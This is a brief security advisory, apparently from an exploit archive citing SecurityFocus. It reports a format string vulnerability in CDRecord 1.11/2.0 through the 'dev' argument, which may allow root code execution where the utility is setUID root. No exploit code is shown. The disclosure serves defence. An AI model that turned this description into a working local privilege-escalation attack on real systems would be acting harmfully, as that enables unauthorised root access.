CDRTools CDRecord 1.11/2.0 - Devname Format String

// source: https://www.securityfocus.com/bid/7565/info

CDRecord has been reported prone to a format string vulnerability. The issue presents itself due to a programming error that occurs when calling a printf-like function.

It has been reported that by harnessing an unsupported feature of the CDRecord utility, an attacker may supply format string specifiers as the 'dev' argument passed to the vulnerable utility.

This may ultimately result in the execution of attacker-supplied code in the context of the CDRecord utility. It has been reported that CDRecord is installed setUID root on several distributions.

It should be noted that although this vulnerability has been reported to affect CDRecord version 2.0 previous versions might also be affected.
